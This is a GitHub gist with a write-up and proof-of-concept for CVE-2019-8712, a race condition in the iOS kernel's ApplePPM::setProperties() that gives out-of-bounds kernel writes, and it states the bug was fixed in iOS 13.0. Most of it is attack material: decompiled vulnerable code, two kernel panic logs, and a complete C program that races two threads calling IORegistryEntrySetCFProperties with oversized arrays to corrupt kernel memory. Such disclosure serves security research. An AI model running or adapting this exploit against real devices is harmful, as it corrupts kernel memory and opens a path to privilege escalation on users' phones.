-
-
Save ox1111/9286d166c184ff4e5b3d76a7a21ec929 to your computer and use it in GitHub Desktop.
ApplePPM::setProperties() OOB writes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#if 0 | |
Fixed in iOS 13.0 with CVE-2019-8712. | |
ApplePPM::setProperties() : OSArray::initWithArray called without locks leads to OOB Writes | |
__thiscall ApplePPM::setProperties(ApplePPM *this,OSDictionary *param_1) | |
{ | |
... | |
... | |
aKey = PTR_fffffff006fc3190[lVar7]; <--- takes a string key from an array | |
object = (*Dictionary->vtable->getObject)(Dictionary, aKey); <-- Dictionary is user controlled object | |
Array = (OSArray *)safeMetaCast(object,OSArray_metaClass); | |
i = 0 | |
if (Array != NULL) { | |
iVar1 = (&DAT_fffffff006fc3188)[i]; <--- takes an integer | |
... | |
ApplePPMSystemCapabilityMonitor::setOverrideBatteryParameter | |
(this->anObject,iVar1,Array); | |
bVar2 = true; | |
} | |
... | |
} | |
void __thiscall | |
ApplePPMSystemCapabilityMonitor::setOverrideBatteryParameter | |
(ApplePPMSystemCapabilityMonitor *this,int param_1,OSArray *user_array) | |
{ | |
OSArray *arr; | |
... | |
(*arr->vtable->initWithArray)(arr,user_array,0); <-- Initializes 'arr' with our user_array object | |
return; | |
} | |
There are two problems here : OSArray::initWithArray() leaks memory through 'array' member AND it’s not an ATOMIC operation and must held locks before calling it. | |
bool OSArray::initWithObjects(const OSObject *objects[], | |
unsigned int theCount, | |
unsigned int theCapacity) | |
{ | |
unsigned int initCapacity; | |
if (!theCapacity) | |
initCapacity = theCount; | |
else if (theCount > theCapacity) | |
return false; | |
else | |
initCapacity = theCapacity; | |
if (!objects || !initWithCapacity(initCapacity)) | |
return false; | |
for ( unsigned int i = 0; i < theCount; i++ ) { <— (1) | |
const OSMetaClassBase *newObject = *objects++; | |
if (!newObject) | |
return false; | |
array[count++] = newObject; <-- (2) | |
newObject->taggedRetain(OSTypeID(OSCollection)); | |
} | |
return true; | |
} | |
(1) The loop relies on 'theCount' which is the user_array counting. | |
(2) 'count' is not atomic and can be raced | |
If we call ApplePPM::setProperties() just twice with a well crafter Array object, we can have a reliable arbitrary Out-Of-Bounds Writes | |
The race can be easily won by increasing the array capacity | |
here is a panic log using allocation in a large zone | |
The panic occurs here : | |
fffffff0075576d0 str w10, [x21, #0x14] | |
fffffff0075576d4 str x0, [x8, x9, LSL #0x3] <-- OOB write here | |
fffffff0075576d8 ldr x8, [x0] | |
fffffff0075576dc ldr x8, [x8, #0x48] | |
fffffff0075576e0 mov x1, x22 | |
fffffff0075576e4 blr x8 | |
Debugger synchronization timed out; waited 10000000 nanoseconds | |
panic(cpu 2 caller 0xfffffff025806ca4): Kernel data abort. (saved state: 0xffffffe04f863310) | |
x0: 0xffffffe0067feb20 x1: 0xfffffff025c66208 x2: 0x0000000000000000 x3: 0xffffffe03f64f900 | |
x4: 0xffffffe03f63c080 x5: 0x0000000000000000 x6: 0x0000000000000001 x7: 0x0000000000000009 | |
x8: 0xffffffe03f63c000 x9: 0x0000000000002801 x10: 0x0000000000002802 x11: 0x00000000ffdfffff | |
x12: 0x6000000000000000 x13: 0xfffffff025cae000 x14: 0x000000084be38000 x15: 0xffffffe00669a0f1 | |
x16: 0x0000000000000001 x17: 0x0000000000000000 x18: 0xfffffff0256dd000 x19: 0x0000000000002728 | |
x20: 0xffffffe03f538000 x21: 0xffffffe000967b10 x22: 0xfffffff025c66208 x23: 0x00000000000022ce | |
x24: 0xfffffff02450f568 x25: 0xffffffe000d64690 x26: 0x0000000000000040 x27: 0xfffffff0255c3188 | |
x28: 0x0000000000000001 fp: 0xffffffe04f863690 lr: 0xfffffff025b576e8 sp: 0xffffffe04f863660 | |
pc: 0xfffffff025b576d4 cpsr: 0x80400304 esr: 0x96000047 far: 0xffffffe03f650008 | |
secure boot?: YES | |
Paniclog version: 11 | |
Kernel slide: 0x000000001e600000 | |
Kernel text base: 0xfffffff025604000 | |
Epoch Time: sec usec | |
Boot : 0x5ce34e8a 0x0009e626 | |
Sleep : 0x5ce3533e 0x00070576 | |
Wake : 0x5ce35343 0x00053cec | |
Calendar: 0x5ce35389 0x000b7336 | |
Panicked task 0xffffffe0016ec000: 593 pages, 6 threads: pid 680: multi | |
Panicked thread: 0xffffffe0019d9a40, backtrace: 0xffffffe04f862b30, tid: 11006 | |
lr: 0xfffffff0258075c8 fp: 0xffffffe04f862c70 | |
lr: 0xfffffff0256dd610 fp: 0xffffffe04f862c80 | |
lr: 0xfffffff0257120d4 fp: 0xffffffe04f862ff0 | |
lr: 0xfffffff02571244c fp: 0xffffffe04f863030 | |
lr: 0xfffffff0257122a0 fp: 0xffffffe04f863050 | |
lr: 0xfffffff025806ca4 fp: 0xffffffe04f8631b0 | |
lr: 0xfffffff025807cd0 fp: 0xffffffe04f8632f0 | |
lr: 0xfffffff0256dd610 fp: 0xffffffe04f863300 | |
lr: 0xfffffff025b576d4 fp: 0xffffffe04f863690 | |
lr: 0xfffffff02527f5d0 fp: 0xffffffe04f8636c0 | |
lr: 0xfffffff025277e10 fp: 0xffffffe04f8637a0 | |
lr: 0xfffffff025bf1bb8 fp: 0xffffffe04f863800 | |
lr: 0xfffffff0257da628 fp: 0xffffffe04f863830 | |
lr: 0xfffffff0256f6174 fp: 0xffffffe04f8639c0 | |
lr: 0xfffffff0257084a0 fp: 0xffffffe04f863b40 | |
lr: 0xfffffff025807d70 fp: 0xffffffe04f863c80 | |
lr: 0xfffffff0256dd610 fp: 0xffffffe04f863c90 | |
lr: 0x0000000237133ea4 fp: 0x0000000000000000 | |
Another kernel panic log in small memory zone : | |
"panicString" : "panic(cpu 3 caller 0xfffffff01ff5805c): \"a freed zone element has been modified in zone kalloc.576: expected 0xc0ffee0278f33d10 but found 0xffffffe005a50720, bits changed 0x3f0011e27d563a30, at offset 0 of 576 in element 0xffffffe0020c3840, cookies 0x3f0011e27aff32d0 0x535219d00ce6bc1\" | |
Debugger message: panic | |
secure boot?: YES | |
Paniclog version: 11 | |
Kernel slide: 0x0000000018e00000 | |
Kernel text base: 0xfffffff01fe04000 | |
Epoch Time: sec usec | |
Boot : 0x5ce37b3a 0x00002123 | |
Sleep : 0x5ce37b54 0x00093657 | |
Wake : 0x5ce37b56 0x000ee83b | |
Calendar: 0x5ce37c68 0x000b0018 | |
Panicked task 0xffffffe0040832a0: 364 pages, 3 threads: pid 1330: multi | |
Panicked thread: 0xffffffe0041eb480, backtrace: 0xffffffe04a3a2e20, tid: 10931 | |
lr: 0xfffffff0200075c8 fp: 0xffffffe04a3a2f60 | |
lr: 0xfffffff01fedd610 fp: 0xffffffe04a3a2f70 | |
lr: 0xfffffff01ff120d4 fp: 0xffffffe04a3a32e0 | |
lr: 0xfffffff01ff1244c fp: 0xffffffe04a3a3320 | |
lr: 0xfffffff01ff122a0 fp: 0xffffffe04a3a3340 | |
lr: 0xfffffff01ff5805c fp: 0xffffffe04a3a33e0 | |
lr: 0xfffffff01ff57994 fp: 0xffffffe04a3a3470 | |
lr: 0xfffffff01ff56bb8 fp: 0xffffffe04a3a35e0 | |
lr: 0xfffffff01ff1ac14 fp: 0xffffffe04a3a3630 | |
lr: 0xfffffff020357618 fp: 0xffffffe04a3a3670 | |
lr: 0xfffffff0203583cc fp: 0xffffffe04a3a3690 | |
lr: 0xfffffff020378e70 fp: 0xffffffe04a3a37a0 | |
lr: 0xfffffff0203f1b28 fp: 0xffffffe04a3a3800 | |
lr: 0xfffffff01ffda628 fp: 0xffffffe04a3a3830 | |
lr: 0xfffffff01fef6174 fp: 0xffffffe04a3a39c0 | |
lr: 0xfffffff01ff084a0 fp: 0xffffffe04a3a3b40 | |
lr: 0xfffffff020007d70 fp: 0xffffffe04a3a3c80 | |
lr: 0xfffffff01fedd610 fp: 0xffffffe04a3a3c90 | |
#endif | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <mach/mach.h> | |
#include <mach/mach_error.h> | |
#include <stdlib.h> | |
#include <CoreFoundation/CoreFoundation.h> | |
#include <pthread.h> | |
#define self mach_task_self() | |
#define CHECK_MACH_ERR(kr,name) do { \ | |
if (kr != KERN_SUCCESS) { \ | |
printf("%s : %s (0x%x)\n", \ | |
name,mach_error_string(kr),kr); \ | |
exit(1);} \ | |
}while(0); | |
#define NAME "ApplePPM" | |
// IOKIT | |
typedef mach_port_t io_connect_t; | |
typedef mach_port_t io_service_t; | |
typedef mach_port_t io_iterator_t; | |
typedef mach_port_t io_object_t; | |
typedef mach_port_t io_registry_entry_t; | |
typedef char io_name_t[128]; | |
#define IO_OBJECT_NULL 0 | |
extern const mach_port_t kIOMasterPortDefault; | |
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); | |
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching); | |
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect); | |
boolean_t IOIteratorIsValid(io_iterator_t iterator); | |
io_object_t IOIteratorNext(io_iterator_t iterator); | |
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); | |
kern_return_t IOServiceGetMatchingServices(mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t *existing); | |
kern_return_t IOServiceClose(io_connect_t connect); | |
uint32_t IOObjectGetRetainCount(io_object_t object); | |
uint32_t IOObjectGetKernelRetainCount(io_object_t object); | |
uint32_t IOObjectGetRetainCount(io_object_t object); | |
kern_return_t io_object_get_retain_count(mach_port_t object,uint32_t *retainCount); | |
kern_return_t IOObjectRelease(io_object_t object); | |
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); | |
CFMutableDictionaryRef IOServiceMatching(const char *name); | |
kern_return_t iokit_iterate_all(io_connect_t * conn_out); | |
kern_return_t iokit_get_connection(const char *service_name,io_connect_t *conn); | |
io_connect_t cc = 0; | |
io_service_t service = 0; | |
kern_return_t iokit_get_service(const char *service_name,io_service_t *service) | |
{ | |
kern_return_t kr = KERN_SUCCESS; | |
*service = IOServiceGetMatchingService(kIOMasterPortDefault, | |
IOServiceMatching(service_name)); | |
if (service == IO_OBJECT_NULL) { | |
printf("unable to find service \n"); | |
exit(0); | |
} | |
return kr; | |
} | |
CFDictionaryRef prepare_array_with_size(CFIndex capacity) | |
{ | |
#define SET "BaselineSystemCapability" | |
CFMutableDictionaryRef Dict = CFDictionaryCreateMutable(NULL,0x10000,&kCFTypeDictionaryKeyCallBacks,&kCFTypeDictionaryValueCallBacks); | |
CFStringRef str = NULL; | |
char *buf = malloc(1000); | |
memset(buf,0xcc,1000); | |
CFDataRef Data = CFDataCreate(NULL,(const UInt8 *)buf,1000); | |
const char *keys[] = { | |
"BaselineSystemCapability", | |
"OverrideSystemCapability", | |
"OverrideBatteryInputRaTable", | |
"OverrideBatteryInputTimeScales", | |
"OverrideBatteryInputSystemLoadPower" | |
}; | |
printf("Array with size %x \n",(uint32_t)capacity); | |
CFMutableArrayRef Array = CFArrayCreateMutable(NULL , capacity, &kCFTypeArrayCallBacks); | |
for(int i=0;i < capacity; i++) { | |
uint32_t val = 0x41414141; | |
CFNumberRef num = CFNumberCreate(NULL, 32, &val); | |
CFArrayAppendValue(Array, num); | |
CFRelease(num); | |
} | |
str = CFStringCreateWithCString(0,"OverrideBatteryInputSystemLoadPower",kCFStringEncodingUTF8); | |
CFDictionaryAddValue(Dict,str,Array); | |
return Dict; | |
} | |
void setProperties(CFDictionaryRef Dict) | |
{ | |
kern_return_t kr = IORegistryEntrySetCFProperties(service,Dict); | |
printf("IORegistryEntrySetCFProperties kr=%x %s\n", | |
kr,mach_error_string(kr)); | |
} | |
void *start_thread(void *dict) | |
{ | |
setProperties((CFDictionaryRef)dict); | |
return NULL; | |
} | |
int do_poc(int argc,char **argv) | |
{ | |
pthread_t tids[2] = {0}; | |
iokit_get_service(NAME, &service); | |
printf("service : %x \n",service); | |
struct threads *s1,*s2,*s3,*s4; | |
CFDictionaryRef dict1 = prepare_array_with_size(0x1000); | |
CFDictionaryRef dict2 = prepare_array_with_size(0x1000); | |
uint64_t *ptr[2] = {dict1,dict2}; | |
for(int i=0; i< 2; i++) | |
pthread_create(&tids[i],NULL,start_thread,ptr[i]); | |
for(int i=0; i< 2; i++) | |
pthread_join(tids[i],NULL); | |
return 0; | |
} | |
int main(int argc,char **argv) | |
{ | |
do_poc(argc,argv); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment